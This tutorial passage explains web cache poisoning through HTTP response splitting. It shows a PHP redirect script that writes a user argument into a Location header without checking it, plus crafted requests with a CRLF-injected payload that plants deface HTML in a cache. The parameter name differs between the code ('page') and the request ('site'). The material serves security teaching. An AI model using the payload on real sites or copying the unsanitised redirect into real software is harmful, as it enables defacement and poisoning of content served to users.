Examples
We have found a web page, which gets service name from
the "page" argument and then redirects (302) to this
service.
E.g.
http://testsite.com/redir.php?page=http://other.testsite.com/
And exemplary code of the redir.php:
rezos@dojo ~/public_html $ cat redir.php
<?php
header ("Location: " . $_GET['page']);
?>
Crafting appropriate request: [1]
1 - remove page from the cache
GET http://testsite.com/index.html HTTP/1.1
Pragma: no-cache
Host: testsite.com
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
HTTP header fields "Pragma: no-cache" or "Cache-Control:
no-cache" will remove the page from cache (if the page is
stored in cache obviously).
2 - using HTTP Response Splitting we force cache server
to generate two responses to one request
GET http://testsite.com/redir.php?site=%0d%0aContent-
Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aLast-
Modified:%20Mon,%2027%20Oct%202009%2014:50:18%20GMT%0d%0aConte
nt-Length:%2020%0d%0aContent-
Type:%20text/html%0d%0a%0d%0a<html>deface!</html> HTTP/1.1
Host: testsite.com
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
We are intentionally setting the future time (presently
it's 2007 but in the header it's set to 2009) in the second
response HTTP header "Last-Modified" to store the response
in the cache.
We may get this effect by setting the following headers:
- Last-Modified (checked byt the If-Modified-Since
header)
- ETag (checked by the If-None-Match header)
3 - sending request for the page, which we want to
replace in the cache of the server
GET http://testsite.com/index.html HTTP/1.1
Host: testsite.com
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
In theory cache server should match the second answer
from the request #2 to the request #3. In this way we've
replaced the cache content.
The rest of the requests should be executed during one
connection (if the cache server doesn't require more
sophisticated method to be used) possibly immediately one
after another.
It may appear problematic to use this attack as universal
techique for cache poisoning. It's due to cache server's
different connection model and request proccessing
implementations. What does it mean? That for example
effective method to poison Apache 2.x cache with mod_proxy
and mod_cache modules won't work with Squid.
Different problem is the length of the URI, which
sometime makes it immposible to put necessary response
header, which is next going to be matched to the request for
the poisoned page.
Used request examples are from [1], which were modified
on the needs of the article.
More information can be found in the document, which
focus on this kind of attacks [1]
http://packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf
by Amit Klein, Director of Security and Research